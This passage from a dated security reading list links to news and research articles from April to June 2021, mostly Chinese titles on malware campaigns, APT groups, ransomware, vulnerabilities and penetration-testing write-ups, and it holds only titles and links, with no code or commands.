WhatsApp](https://research.checkpoint.com/2021/new-wormable-android-malware-spreads-by-creating-auto-replies-to-messages-in-whatsapp/) - 4.7 [基于虚假网游交易诈骗发现的域名端口攻防](https://www.anquanke.com/post/id/237467) - 4.7 [IDA 辅助工具Karta——二进制文件中搜索开源代码](https://www.anquanke.com/post/id/235632) - 4.7 [针对DNS转发设备的缓存投毒攻击](https://www.anquanke.com/post/id/236131) - 4.8 [Researchers uncover a new Iranian malware used in recent cyberattacks](http://feedproxy.google.com/~r/TheHackersNews/~3/hz96-cUbfVk/researchers-uncover-new-iranian-malware.html) - 4.8 [600,000 Payment Cards Stolen From Swarmshop Darknet Market](https://www.databreachtoday.com/600000-payment-cards-stolen-from-swarmshop-darknet-market-a-16367) - 4.8 [Attackers Using Malicious Doc Builder Called 'EtterSilent'](https://www.govinfosecurity.com/attackers-using-malicious-doc-builder-called-ettersilent-a-16362) - 4.8 [VSCode 下的 frida 插件](https://paper.seebug.org/1553/) - 4.8 [杀不掉的 App——CVE-2018-4310](https://paper.seebug.org/1552/) - 4.8 [Force DAO 任意铸币攻击事件复盘分析](https://www.anquanke.com/post/id/237227) - 4.8 [HVV大型攻防演练检测篇](https://www.freebuf.com/articles/268752.html) - 4.9 [MOZI木马新版本程序与新的攻击热潮](http://blog.nsfocus.net/mozi/) - 4.9 [深度揭密高通4/5G移动基带消息系统和状态机](https://paper.seebug.org/1555/) - 4.9 [Aurora恶意活动分析:针对阿塞拜疆的网络攻击使用了多种RAT](https://www.freebuf.com/articles/paper/268972.html) - 4.9 [黑客思维养成记——以迂为直](https://www.anquanke.com/post/id/237033) - 4.9 [Lazarus Group Targets Freight Logistics Firm](https://www.govinfosecurity.com/lazarus-group-targets-freight-logistics-firm-a-16373) - 4.11 [社工出击!朝鲜黑客再此瞄准网安分析人员](https://www.freebuf.com/news/268834.html) - 4.11 [Joker malware infected 538,000 Huawei Android devices](https://securityaffairs.co/wordpress/116643/malware/huawei-store-joker-malware.html?utm_source=feedly&utm_medium=rss&utm_campaign=huawei-store-joker-malware) - 4.12 [Gigaset Android 更新服务器遭遇黑客攻击 并在用户设备上安装恶意软件](http://hackernews.cc/archives/35178) - 4.12 [蚁剑流量改造学习](https://www.secpulse.com/archives/156870.html) - 4.12 [New Wormable Android Malware Spreads by Creating Auto-Replies to Messages in WhatsApp - Check Point Research](https://research.checkpoint.com/2021/new-wormable-android-malware-spreads-by-creating-auto-replies-to-messages-in-whatsapp/) - 4.12 [APT SideWinder针对南亚某区域的最新攻击活动](https://www.freebuf.com/articles/network/269251.html) - 4.13 [Millions of Devices Potentially Vulnerable to DNS Flaws](https://www.govinfosecurity.com/millions-devices-potentially-vulnerable-to-dns-flaws-a-16389) - 4.13 [Hackers Using Website's Contact Forms to Deliver IcedID Malware](http://feedproxy.google.com/~r/TheHackersNews/~3/zVzBu5SMqGo/hackers-using-websites-contact-forms-to.html) - 4.13 [BRATA Malware Poses as Android Security Scanners on Google Play Store](http://feedproxy.google.com/~r/TheHackersNews/~3/cVz8kvM3if8/brata-malware-poses-as-android-security.html) - 4.13 [TCP反射攻击研究](http://blog.nsfocus.net/tcp-syn/) - 4.13 [Hvv样本合集分析(一)](https://www.anquanke.com/post/id/237419) - 4.14 [红队攻防基础建设—C2 IP隐匿技术](https://www.anquanke.com/post/id/238142) - 4.14 [基于虚假网游交易诈骗发现的域名端口攻防](https://www.freebuf.com/news/269548.html) - 4.15 [Chromium V8 JavaScript 引擎远程代码执行漏洞分析讨论](https://paper.seebug.org/1557/) - 4.15 [基于机器学习的自动漏洞修复分析方法](https://www.anquanke.com/post/id/231450) - 4.15 [赏金$10000+的TikTok Android 1-Click RCE漏洞](https://www.anquanke.com/post/id/237120) - 4.15 [物联网设备常见的web服务器——uhttpd源码分析(一)](https://www.freebuf.com/articles/network/269696.html) - 4.15 [NEUZZ源码阅读笔记(一)](https://www.anquanke.com/post/id/237143) - 4.15 [Mobile app security standard for IoT, VPNs proposed by group backed by Big Tech](https://go.theregister.com/feed/www.theregister.com/2021/04/15/mobile_app_security/) - 4.15 [YIKES! Hackers flood the web with 100,000 pages offering malicious PDFs](http://feedproxy.google.com/~r/TheHackersNews/~3/OJUqyXnH4yI/yikes-cybercriminals-flood-intrenet.html) - 4.15 [安全专家发现基于 Chromium 的浏览器漏洞 可绕过沙盒远程执行](http://hackernews.cc/archives/35208) - 4.15 [反洗钱之战面临溃败](https://www.solidot.org/story?sid=67493) - 4.16 [Infection Monkey: Open source tool allows zero trust assessment of AWS environments](http://feedproxy.google.com/~r/HelpNetSecurity/~3/31MxTI4qHrk/) - 4.16 [A Technical Analysis of the Mirai Botnet Phenomenon](https://heimdalsecurity.com/blog/mirai-botnet-phenomenon/) - 4.16 [FakeTelegram木马分析报告](https://www.anquanke.com/post/id/238292) - 4.16 [实例分析某 Windows 下第三方视频客户端的“虫洞”利用](https://paper.seebug.org/1558/) - 4.16 [“雏莺行动”:一起针对俄罗斯的窃密行动](https://www.secpulse.com/archives/157252.html) - 4.16 [HW行动之攻方视角:弱口令一击即中](https://www.freebuf.com/articles/network/269805.html) - 4.17 [微信被曝高危0day漏洞,建议立即更新](https://www.freebuf.com/news/269896.html) - 4.19 [代码测试平台Codecov遭持续入侵,漏洞利用长达数月](https://www.freebuf.com/news/270007.html) - 4.19 [色字头上一把刀:某站点色诱套路分析](https://www.freebuf.com/articles/others-articles/269965.html) - 4.19 [恶意代码常用API混淆方法及处理方式](https://www.anquanke.com/post/id/237124) - 4.19 [XCSSET malware now targets macOS 11 and M1-based Macs](https://securityaffairs.co/wordpress/116983/malware/xcsset-malware-apple-m1.html?utm_source=feedly&utm_medium=rss&utm_campaign=xcsset-malware-apple-m1) - 4.20 [苹果M1芯片再遭恶意软件攻击,QQ微信数据也可能受影响](https://www.freebuf.com/news/270177.html) - 4.20 [Turla 组织攻击面貌深度分析报告](https://www.freebuf.com/articles/paper/270162.html) - 4.20 [120 Compromised Ad Servers Target Millions of Internet Users](http://feedproxy.google.com/~r/TheHackersNews/~3/hOzKgHpYjXk/120-compromised-ad-servers-target.html) - 4.20 [Lazarus APT Hackers are now using BMP images to hide RAT malware](http://feedproxy.google.com/~r/TheHackersNews/~3/wHc4_FCN43Y/lazarus-apt-hackers-are-now-using-bmp.html) - 4.21 [Android可信执行环境安全研究(二):可信应用漏洞利用](https://www.anquanke.com/post/id/237029) - 4.21 [ZeroWall:通过Encoder-Decoder RNN检测0-day网络攻击](https://www.anquanke.com/post/id/235457) - 4.21 [图种再现?Lazarus组织将恶意代码隐藏在.BMP图像中](https://www.freebuf.com/news/270274.html) - 4.21 [Top 5 most dangerous ransomware in 2021 | Kaspersky official blog](https://www.kaspersky.com/blog/top5-ransomware-groups/39426/) - 4.21 [Data Poisoning: When Attackers Turn AI and ML Against You](https://securityintelligence.com/articles/data-poisoning-ai-and-machine-learning/) - 4.21 [WhatsApp Pink malware spreads via group chat messages](https://securityaffairs.co/wordpress/117094/malware/whatsapp-pink-malware.html?utm_source=feedly&utm_medium=rss&utm_campaign=whatsapp-pink-malware) - 4.22 [Malware and ransomware gangs have found this new way to cover their tracks](https://www.zdnet.com/article/malware-and-ransomware-gangs-have-found-this-new-way-to-cover-their-tracks/#ftag=RSSbaffb68) - 4.22 [Internet of Threats: IoT Botnets Drive Surge in Network Attacks](https://securityintelligence.com/posts/internet-of-threats-iot-botnets-network-attacks/) - 4.22 [As-Exploits: 中国蚁剑后渗透框架](https://paper.seebug.org/1565/) - 4.22 [伪装成Telegram疯狂传播?撕下FakeTelegram的马甲定向查杀](https://www.freebuf.com/articles/paper/270389.html) - 4.22 [浅谈RASP安全防御技术](https://www.freebuf.com/sectool/270117.html) - 4.23 [高危微信漏洞,点击链接可被黑客完全控制](https://www.freebuf.com/vuls/270497.html) - 4.23 [匿名帖子中藏“马”,针对某特殊群体的供应链打击](https://www.freebuf.com/articles/system/270593.html) - 4.23 [Malware Operators Use TLS 46% Of The Time When Detected](https://packetstormsecurity.com/news/view/32228/Malware-Operators-Use-TLS-46-Of-The-Time-When-Detected.html) - 4.23 [Hacked Android phones mimicked connected TV products for fake ad views](https://www.hackread.com/hacked-android-phones-connected-tv-products-malware/) - 4.24 [密码管理器 Passwordstate 被植入后门](https://www.solidot.org/story?sid=67592) - 4.24 [A new Linux Botnet abuses IaC Tools to spread and other emerging techniques](https://securityaffairs.co/wordpress/117155/malware/linux-botnet-emerging-techniques.html?utm_source=feedly&utm_medium=rss&utm_campaign=linux-botnet-emerging-techniques) - 4.25 [Turla 组织攻击面貌深度分析报告](https://www.anquanke.com/post/id/238736) - 4.25 [小心你的mac和Linux,Homebrew软件包管理器中发现了RCE漏洞](https://www.freebuf.com/news/270875.html) - 4.26 [SniperPhish: An all-in-one open-source phishing toolkit](http://feedproxy.google.com/~r/HelpNetSecurity/~3/Kqgn-HC_AvY/) - 4.26 [疑似APT组织针对多吉币关注者进行鱼叉式定向攻击](http://blog.nsfocus.net/apt-dogecoin/) - 4.26 [未安装也会被入侵,ToxicEye恶意软件正在Telegram平台中泛滥](https://www.freebuf.com/news/271014.html) - 4.26 [头号僵尸网络Emotet被联手制裁后,终于在世界范围内“自我毁灭”](https://www.freebuf.com/news/271086.html) - 4.26 [实战侧信道攻击之密码破解](https://www.freebuf.com/articles/terminal/271071.html) - 4.26 [欧盟网络安全应急响应体系介绍](https://www.anquanke.com/post/id/239474) - 4.27 [Shlayer macOS malware abuses zero-day to bypass Gatekeeper feature](https://securityaffairs.co/wordpress/117262/malware/shlayer-macos-zero-day.html?utm_source=feedly&utm_medium=rss&utm_campaign=shlayer-macos-zero-day) - 4.27 [Abusing Replication: Stealing AD FS Secrets Over the Network](http://www.fireeye.com/blog/threat-research/2021/04/abusing-replication-stealing-adfs-secrets-over-the-network.html) - 4.27 [攻击者正在通过攻击Android手机来伪造广告浏览量](https://www.freebuf.com/news/271140.html) - 4.27 [勒索团伙利用7zip压缩程序盯上QNAP设备,五天之内盈利26万美元](https://www.freebuf.com/news/271158.html) - 4.27 [BLESA:针对蓝牙低能耗重连接的欺骗攻击](https://www.anquanke.com/post/id/235573) - 4.28 [Android 系统漏洞将 COVID-19 联系人追踪记录暴露给预装应用程序](http://hackernews.cc/archives/35279) - 4.28 [Naikon APT group uses new Nebulae backdoor in attacks aimed at military orgs](https://securityaffairs.co/wordpress/117321/apt/naikon-apt-nebulae-backdoor.html?utm_source=feedly&utm_medium=rss&utm_campaign=naikon-apt-nebulae-backdoor) - 4.28 [威胁快讯:Sysrv-hello再次升级,通过感染网页文件提高传播能力](https://blog.netlab.360.com/wei-xie-kuai-xun-z0miner-zheng-zai-li-yong-elasticsearch-he-jenkins-lou-dong-da-si-chuan-bo/) - 4.28 [双头龙(RotaJakiro),一个至少潜伏了3年的后门木马](https://blog.netlab.360.com/stealth_rotajakiro_backdoor_cn/) - 4.28 [隐秘的交易:暗藏危机的智能合约恶意调用](https://paper.seebug.org/1577/) - 4.28 [看我如何通过 ZoomEye 发现后门设备](https://paper.seebug.org/1576/) - 4.28 [刷单诈骗,二次诈骗!“卧底”黑灰产交易群的那些事儿](https://www.freebuf.com/articles/network/271381.html) - 4.28 [Hvv样本合集分析(二)- Golang恶意样本分析](https://www.anquanke.com/post/id/239246) - 4.28 [某大学目录遍历到严重信息泄露漏洞](https://www.secpulse.com/archives/158033.html) - 4.29 [卡巴斯基:发现疑似来自美 CIA 的新恶意软件](http://hackernews.cc/archives/35284) - 4.29 [如何快速上手 Zookeeper 未授权漏洞](https://www.freebuf.com/sectool/271557.html) - 4.29 [Excel 4.0宏被黑客滥用以传播恶意软件](https://www.freebuf.com/news/271529.html) - 4.29 [Spring内存木马检测思路](https://www.secpulse.com/archives/158138.html) - 4.29 [快递信息居然是恶意软件,FluBot安卓木马在欧洲迅速传播](https://www.freebuf.com/news/271479.html) - 4.30 [iOS prompts: "Allow App to track your activity across other companies' apps and websites?" | Kaspersky official blog](https://www.kaspersky.com/blog/apptracking-transparency-in-ios-ipados-tvos-14-5/39690/) - 4.30 [FIN8 APT组织新动作:一起 “精心布置” 的定向窃密活动](https://security.tencent.com/index.php/blog/msg/187) - 4.30 [针对欧洲金融机构和政府的新组织——Rabota](http://blog.nsfocus.net/rabota-202104/) - 4.30 [内网渗透基石篇--内网信息收集(上)](https://www.freebuf.com/articles/web/268593.html) - 4.30 [HackTheBox Cyber Apocalypse 2021 CTF:Oldest trick in the book](https://www.anquanke.com/post/id/239757) - 4.30 [Lazarus APT组织是如何利用藏匿于 BMP 图片中恶意代码来下载远控软件的](https://www.anquanke.com/post/id/238845) - 4.30 [微软宣布使用Intel TDT技术检测挖矿木马](https://www.freebuf.com/news/271365.html) - 4.30 [记一次反制追踪溯本求源](https://www.secpulse.com/archives/158246.html) - 4.30 [IoT和OT设备中曝25个RCE漏洞](https://www.freebuf.com/news/271637.html) - 0x04 - 5.2 [安全专家正在对巴勒斯坦黑客实施制裁](https://www.freebuf.com/news/271754.html) - 5.3 [Buer Dropper Malware Updated Using Rust](https://www.govinfosecurity.com/buer-dropper-malware-updated-using-rust-a-16512) - 5.3 [Soundbar Bested by Virtual Android Bluetooth Sniffer](https://hackaday.com/2021/05/02/soundbar-bested-by-virtual-android-bluetooth-sniffer/) - 5.4 [Alien Mobile Malware Evades Detection, Increases Targets](https://info.phishlabs.com/blog/alien-mobile-malware-evades-detection-increases-targets) - 5.5 [New Study Warns of Security Threats Linked to Recycled Phone Numbers](http://feedproxy.google.com/~r/TheHackersNews/~3/rW9i6ktBYjQ/new-study-warns-of-security-threats.html) - 5.5 [Flubot vs. Zimperium](https://blog.zimperium.com/flubot-vs-zimperium/) - 5.5 [新侧信道攻击出现,2011年以来所有的Intel芯片都受到影响](https://www.freebuf.com/news/271865.html) - 5.6 [T1187 强制 NTLM 认证](https://www.secpulse.com/archives/158433.html) - 5.6 [CVE-2021-26411 在野样本中利用 RPC 绕过 CFG 缓解技术的研究](https://paper.seebug.org/1579/) - 5.6 [Intel Wi-Fi 驱动漏洞分析](https://paper.seebug.org/1578/) - 5.6 [Android可信执行环境安全研究(三):特权提升](https://www.anquanke.com/post/id/239181) - 5.6 [FluBot Android Malware Spreading Rapidly Through Europe, May Hit U.S. Soon | Proofpoint US](https://www.proofpoint.com/us/blog/threat-insight/flubot-android-malware-spreading-rapidly-through-europe-may-hit-us-soon) - 5.6 [重入攻击概述](https://paper.seebug.org/1582/) - 5.6 [黑客组织连环作案以色列公司,或由伊朗幕后操纵](https://www.anquanke.com/post/id/240082) - 5.6 [智能合约安全系列——EOS 菠菜应用篇](https://paper.seebug.org/1580/) - 5.6 [浅析【态势感知】](https://www.freebuf.com/articles/network/271912.html) - 5.6 [一个驱动程序漏洞在戴尔设备中潜伏12年之久,最近终于被修复](https://www.freebuf.com/news/271922.html) - 5.7 [幽灵漏洞新变种,威胁英特尔和AMD处理器预计影响数十亿电脑](https://www.freebuf.com/news/272142.html) - 5.7 [澳门卫生局电脑系统遭恶意攻击 经抢修已恢复正常](https://www.freebuf.com/news/272093.html) - 5.7 [SirenAttack:针对端到端语音系统的对抗性音频攻击](https://www.anquanke.com/post/id/235833) - 5.7 [iPhone Hack Allegedly Used to Spy on China’s Uyghurs](https://threatpost.com/iphone-hack-spying-china-uyghurs/165950/) - 5.8 [大规模DDoS攻击导致比利时政府网站瘫痪](https://www.freebuf.com/news/272251.html) - 5.8 [DDG的新征程——自研P2P协议构建混合P2P网络](https://blog.netlab.360.com/ddgde-xin-zheng-cheng-zi-yan-p2pxie-yi-gou-jian-hun-he-p2pwang-luo/) - 5.8 [Ryuk紧盯“有缝的蛋”,利用学生盗版软件发起攻击](https://www.anquanke.com/post/id/240365) - 5.9 [Black Hat ASIA 2021武器库回顾](https://www.freebuf.com/news/272191.html) - 5.10 [Cryakl勒索病毒改名换姓,更名Crylock持续活跃](https://www.secpulse.com/archives/158640.html) - 5.10 [『P2P僵尸网络深度追踪——Mozi』(一)Winter is coming!](https://www.secpulse.com/archives/158575.html) - 5.10 [网络攻击导致美国一主要燃料管线停运](http://hackernews.cc/archives/35319) - 5.10 [能源输配安全,勒索病毒能突破的不只是输油管网](http://blog.nsfocus.net/colonial-0507/) - 5.11 [网络招嫖诈骗产业流程及风险分析](https://www.anquanke.com/post/id/240680) - 5.11 [实践之后,我们来谈谈如何做好威胁建模](https://www.anquanke.com/post/id/239997) - 5.11 [网络安全研究人员用 AI 生成假文件 打造更具迷惑性的“金丝雀陷阱”](http://hackernews.cc/archives/35342) - 5.11 [New Android malware TeaBot found stealing data, intercepting SMS](https://www.hackread.com/teabot-android-malware-steals-data-sms/) - 5.12 [『P2P僵尸网络深度追踪——Mozi』(一)Winter is coming!](https://www.anquanke.com/post/id/240195) - 5.12 [新型 Smishing 钓鱼木马曝光:冒充 Chrome 窃取用户信用卡信息](http://hackernews.cc/archives/35357) - 5.13 [一种新升级的公式编辑器漏洞武器化工具已投入使用](http://blog.nsfocus.net/cve-2018-0798/) - 5.13 [恶意软件攻击正在适应全球趋势 加密挖矿应用危害明显](http://hackernews.cc/archives/35376) - 5.13 [【Black Hat Asia 2021】兼容的代价:通过文件扩展属性攻陷 macOS 内核](https://paper.seebug.org/1585/) - 5.13 [FragAttacks漏洞被发现,所有Wi-Fi设备无一幸免](https://www.freebuf.com/articles/network/272772.html) - 5.13 [美国管道公司Colonial Pipeline遭受勒索攻击事件分析复盘](https://www.freebuf.com/articles/paper/272768.html) - 5.13 [新型银行木马TeaBot针对六十余个银行进行窃密](https://www.freebuf.com/articles/mobile/272737.html) - 5.13 [黑客伪装成马斯克的节目来窃取虚拟货币](https://www.freebuf.com/articles/network/272724.html) - 5.13 [HVV行动之某OA流量应急](https://www.anquanke.com/post/id/239865) - 5.14 [CSP浅析与绕过](https://www.secpulse.com/archives/158928.html) - 5.14 [供应链攻击之PHP Composer漏洞](https://www.anquanke.com/post/id/240452) - 5.14 [Apple Gets CP/M](https://hackaday.com/2021/05/13/apple-gets-cp-m/) - 5.14 [闪电贷攻击 + 错误权限配置,2500万美元付诸东流 | xToken被黑事件简析](https://www.freebuf.com/articles/network/272949.html) - 5.14 [微软分享了航空航天旅行领域恶意软件攻击的详细信息](https://www.freebuf.com/articles/web/272951.html) - 5.14 [通过侧信道分析加强对iPhone用户身份验证的暴力破解攻击](https://www.anquanke.com/post/id/237769) - 5.14 [Analysis: Colonial Pipeline Attack](https://www.databreachtoday.com/interviews/analysis-colonial-pipeline-attack-i-4895) - 5.17 [攻击美国油管公司的DarkSide被查封,现已关闭运营](https://www.freebuf.com/articles/neopoints/273282.html) - 5.17 [漏洞自动化利用(AEG)研究进展](https://www.anquanke.com/post/id/240026) - 5.17 [Apple's Find My Network Can be Abused to Exfiltrate Data From Nearby Devices](http://feedproxy.google.com/~r/TheHackersNews/~3/G979KS-rgTg/apples-find-my-network-can-be-abused-to.html) - 5.18 [基于智能手机的近源渗透案例分享——持之以恒](https://www.anquanke.com/post/id/240652) - 5.19 [安全之殇:如何将安全建设与商业价值挂钩?](https://www.secpulse.com/archives/159102.html) - 5.19 [初探 Golang 代码混淆](https://paper.seebug.org/1586/) - 5.19 [黑莓借助 ARM64 macOS 虚拟化方案来开展 Apple Silicon 安全研究](http://hackernews.cc/archives/35414) - 5.19 [This is how long hackers will hide in your network before deploying ransomware or being spotted](https://www.zdnet.com/article/this-is-how-long-hackers-will-spend-in-your-network-before-deploying-ransomware-or-being-spotted/#ftag=RSSbaffb68) - 5.20 [Mobile app developers’ misconfiguration of third party services leave personal data of over 100 million exposed](https://research.checkpoint.com/2021/mobile-app-developers-misconfiguration-of-third-party-services-leave-personal-data-of-over-100-million-exposed/) - 5.20 [云原生安全攻防技术浅析](https://www.anquanke.com/post/id/241004) - 5.20 [FragAttacks 漏洞分析](https://paper.seebug.org/1587/) - 5.20 [Kimsuky APT组织使用新型的AppleSeed Android组件伪装成安全软件对韩特定目标进行攻击](https://www.anquanke.com/post/id/241091) - 5.21 [防守方新秘籍:MITRE 发布主动防御指导框架Shield](https://www.secpulse.com/archives/159294.html) - 5.21 [将Python远控隐藏在文档图片中的行动分析](https://www.secpulse.com/archives/159224.html) - 5.21 [约1亿用户的隐私数据被这23款安卓应用泄露,包括电话、密码、位置等](https://www.freebuf.com/articles/database/273878.html) - 5.21 [Phishpedia:基于混合深度学习的钓鱼网页视觉识别工具](https://www.anquanke.com/post/id/236077) - 5.21 [AFL源码分析(I)——白盒模式下的afl-gcc分析](https://www.anquanke.com/post/id/240792) - 5.22 [记一次反制追踪溯本求源](https://www.anquanke.com/post/id/240962) - 5.23 [FBI警告:Conti勒索软件袭击了16个美国健康和紧急服务机构](https://www.freebuf.com/articles/network/274063.html) - 5.24 [Python 官方软件库 Pypl 遭遇垃圾软件包攻击](http://hackernews.cc/archives/35445) - 5.24 [AFL编译时插桩](https://www.anquanke.com/post/id/240105) - 5.24 [一路向北:Konni APT组织以“朝鲜局势”相关主题为诱饵对俄进行持续定向攻击活动](https://www.freebuf.com/articles/paper/273833.html) - 5.24 [『P2P僵尸网络深度追踪——Mozi』(二)二叉树吃瓜记](https://www.secpulse.com/archives/159403.html) - 5.24 [FBI出现内鬼,分析师被指窃取国家安全文件](https://www.freebuf.com/articles/database/274107.html) - 5.24 [前尘——权限控制下暗藏的杀机](https://www.anquanke.com/post/id/241012) - 5.24 [一次黑产链接分析引发的渗透测试](https://www.anquanke.com/post/id/241904) - 5.24 [Spring内存木马检测思路](https://www.anquanke.com/post/id/239868) - 5.27 [Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices](http://www.fireeye.com/blog/threat-research/2021/05/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices.html) - 5.27 [针对一次性验证码短信的安全性研究(上)](https://www.anquanke.com/post/id/238872) - 5.28 [窃取终端数据成本低,谨防Formbook恶意软件入侵窃密](https://www.secpulse.com/archives/159686.html) - 5.28 [窃密者Facefish分析报告](https://blog.netlab.360.com/ssh_stealer_facefish_cn/) - 5.28 [China-linked APT groups targets orgs via Pulse Secure VPN devices](https://securityaffairs.co/wordpress/118358/hacking/pulse-secure-vpn-china-apt.html?utm_source=feedly&utm_medium=rss&utm_campaign=pulse-secure-vpn-china-apt) - 5.31 [A New Bug in Siemens PLCs Could Let Hackers Run Malicious Code Remotely](http://feedproxy.google.com/~r/TheHackersNews/~3/Ph7yNPpflZU/a-new-bug-in-siemens-plcs-could-let.html) - 5.31 [Bogged攻击事件复盘分析](https://www.freebuf.com/articles/blockchain-articles/275544.html) - 5.31 [PancakeBunny攻击事件复盘分析](https://www.anquanke.com/post/id/242446) - 5.31 [fuchsia 安全功能解读](https://paper.seebug.org/1592/) - 5.31 [攻击者利用新的“NativeZone”后门进行网络钓鱼,涉及24个国家3000个账户](https://www.freebuf.com/geek/275493.html) - 0x05 - 6.1 [针对疑似从事外贸等相关人士的钓鱼攻击活动分析](https://www.anquanke.com/post/id/242932) - 6.1 [BovInspector:一个自动化验证缓冲区溢出漏洞的工具](https://www.anquanke.com/post/id/240020) - 6.2 [工控系统入侵流程研究报告](http://blog.nsfocus.net/rsa2021-t/) - 6.2 [通过众包方法检测针对空管监控系统的攻击](https://www.anquanke.com/post/id/239470) - 6.2 [利用边界设备搭建VPN隧道](https://www.secpulse.com/archives/160095.html) - 6.2 [来自Readme的威胁|疑似长达数年的供应链攻击分析](https://www.freebuf.com/geek/275603.html) - 6.2 [IAST 工具初探](https://www.secpulse.com/archives/160046.html) - 6.2 [Researchers Uncover Hacking Operations Targeting Government Entities in South Korea](http://feedproxy.google.com/~r/TheHackersNews/~3/smjaYPN-lGg/researchers-uncover-hacking-operations.html) - 6.2 [라자루스 APT 그룹, 중국 정부 및 기업 대상으로 피싱 공격 수행해](https://blog.alyac.co.kr/3814) - 6.3 [Chinese APT group targets Southeast Asian government with previously unknown backdoor](https://blog.checkpoint.com/2021/06/03/chinese-apt-group-targets-southeast-asian-government-with-previously-unknown-backdoor/) - 6.3 [窃密者Facefish分析报告](https://www.anquanke.com/post/id/243032) - 6.3 [利用内置加速度计进行手机侧信道窃听攻击](https://www.anquanke.com/post/id/241740) - 6.3 [APT29以“选举欺诈”为主题的网络钓鱼活动分析](https://www.freebuf.com/articles/network/275599.html) - 6.3 [全球最大肉类生产商JBS Foods因网络攻击导致停产](https://www.anquanke.com/post/id/243093) - 6.4 [从一个app开始的渗透测试之路](https://www.anquanke.com/post/id/241589) - 6.4 [国内商业化广告行业黑灰产初探](https://www.anquanke.com/post/id/242514) - 6.4 [一路向北:Konni APT组织以“朝鲜局势”相关主题为诱饵对俄进行持续定向攻击活动](https://www.anquanke.com/post/id/241811) - 6.5 [ysoserial魔改系列-Fuzzing SUID](https://www.anquanke.com/post/id/242741) - 6.6 [Chinese SharpPanda APT developed a new backdoor in the last 3 years](https://securityaffairs.co/wordpress/118652/apt/sharppanda-apt-backdoor.html?utm_source=feedly&utm_medium=rss&utm_campaign=sharppanda-apt-backdoor) - 6.7 [Snort在工控系统入侵检测的应用](http://blog.nsfocus.net/snort%e5%9c%a8%e5%b7%a5%e6%8e%a7%e7%b3%bb%e7%bb%9f%e5%85%a5%e4%be%b5%e6%a3%80%e6%b5%8b%e7%9a%84%e5%ba%94%e7%94%a8/) - 6.7 [TeX 安全模式绕过研究](https://paper.seebug.org/1596/) - 6.7 [权限提升之脏牛提权](https://www.secpulse.com/archives/160282.html) - 6.7 [TransparentTribe黑客组织利用简历对印度金融行业发起攻击](https://www.anquanke.com/post/id/243326) - 6.7 [无线通信新威胁!Realtek RTL8170C Wi-Fi模块存在严重漏洞](https://www.freebuf.com/vuls/276526.html) - 6.7 [浅谈海莲花某样本反混淆](https://www.anquanke.com/post/id/242672) - 6.8 [勒索家族新成员BlackCocaine攻击印度银行,尚未得知感染媒介](https://www.freebuf.com/articles/network/276656.html) - 6.8 [Lazarus 近期针对军工等行业的定向攻击活动分析](https://www.anquanke.com/post/id/243392) - 6.8 [Malware Hides in Steam Profile Images](https://feeds.feedblitz.com/~/654224226/0/gdatasecurityblog-en~Malware-Hides-in-Steam-Profile-Images) - 6.9 [洞见RSAC | 生物行为识别技术在社工诈骗中的应用分析与探索](http://blog.nsfocus.net/rsac2021-sef/) - 6.9 [Chinese APT Group Reportedly Develops Custom Backdoor](https://www.databreachtoday.com/chinese-apt-group-reportedly-develops-custom-backdoor-a-16842) - 6.9 [茅台为何“抢不到”?背后的集成化黑产揭秘](https://www.freebuf.com/news/276850.html) - 6.9 [冰蝎研究分析(一)](https://www.anquanke.com/post/id/240796) - 6.9 [全球第二大内存和固态硬盘制造商威刚遭勒索攻击](https://www.freebuf.com/news/276851.html) - 6.10 [中国逮捕 1100 名涉嫌利用加密货币洗钱的嫌疑人](https://www.solidot.org/story?sid=68002) - 6.10 [域前置水太深,偷学六娃来隐身——域前置攻击复现](https://www.anquanke.com/post/id/243146) - 6.10 [利用AFL与ghidra仿真器对“另类”架构代码进行模糊测试](https://www.anquanke.com/post/id/240021) - 6.11 [尼日利亚黑客组织SWEED正在散发针对物流行业的钓鱼文档](http://blog.nsfocus.net/sweed-611/) - 6.11 [专家观点:安卓移动应用安全发展路线](https://www.freebuf.com/articles/neopoints/277179.html) - 6.11 [Godzilla哥斯拉修改版(上)分析篇](https://www.secpulse.com/archives/160830.html) - 6.11 [”赏金猎人“半年内发现三星手机17个漏洞,可被用于间谍监听](https://www.freebuf.com/news/277225.html) - 6.11 [ALPACA攻击:针对TLS实现的跨协议攻击](https://www.secpulse.com/archives/160816.html) - 6.11 [针对Wi-Fi的帧聚合和帧分段漏洞攻击](https://www.anquanke.com/post/id/241058) - 6.12 [新型TLS攻击可对安全站点发起跨站脚本攻击,至少影响140万台web服务器](https://www.freebuf.com/news/277183.html) - 6.15 [游戏界巨头EA源代码被盗窃,黑客以2800万美元出售数据](https://www.freebuf.com/news/277401.html) - 6.15 [针对一次性验证码短信的安全性研究(下)](https://www.anquanke.com/post/id/238873) - 6.15 [China-Connected APT41 Likely Behind Attacks on Airlines](https://www.databreachtoday.com/china-connected-apt41-likely-behind-attacks-on-airlines-a-16873) - 6.16 [NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击](https://www.anquanke.com/post/id/241429) - 6.16 [看不见的障碍物:首个针对自动驾驶多传感器融合感知的漏洞攻击](https://www.freebuf.com/vuls/277358.html) - 6.16 [台湾制造商“物联智慧”曝9.1分高危漏洞,危及供应链上数百万设备](https://www.freebuf.com/news/277609.html) - 6.16 [PJobRAT:针对印度军事人员的间谍软件](https://blogs.360.cn/post/analysis-of-PJobRAT.html) - 6.17 [攻击推理-安全知识图谱在自动化攻击行为提取上的应用](http://blog.nsfocus.net/attack-nsfocus/) - 6.17 [A New Spyware is Targeting Telegram and Psiphon VPN Users in Iran](http://feedproxy.google.com/~r/TheHackersNews/~3/ze4ALVHRLmo/a-new-spyware-is-targeting-telegram-and.html) - 6.17 [80% 支付赎金的企业会遭到二次勒索攻击 其中 46% 来自同一黑客](https://hackernews.cc/archives/35569) - 6.17 [Gafgyt变种:Sakura僵尸网络溯源分析报告](https://www.anquanke.com/post/id/244421) - 6.17 [某学院系统sql注入到服务器沦陷(bypss)](https://www.secpulse.com/archives/161058.html) - 6.18 [Ferocious Kitten APT组织监视伊朗公民长达六年](https://www.freebuf.com/news/277880.html) - 6.18 [网络钓鱼技术之HTML走私](https://www.anquanke.com/post/id/241093) - 6.18 [卡巴斯基发现朝鲜支持的黑客组织最近攻击了韩国多个行业](https://hackernews.cc/archives/35576) - 6.18 [带你走进API安全的知识海洋(一)](https://www.anquanke.com/post/id/242247) - 6.18 [Xmrig挖矿木马分析](https://www.secpulse.com/archives/161131.html) - 6.19 [Sodinokibi(REvil)勒索病毒黑客组织攻击姿势全解](https://www.anquanke.com/post/id/244705) - 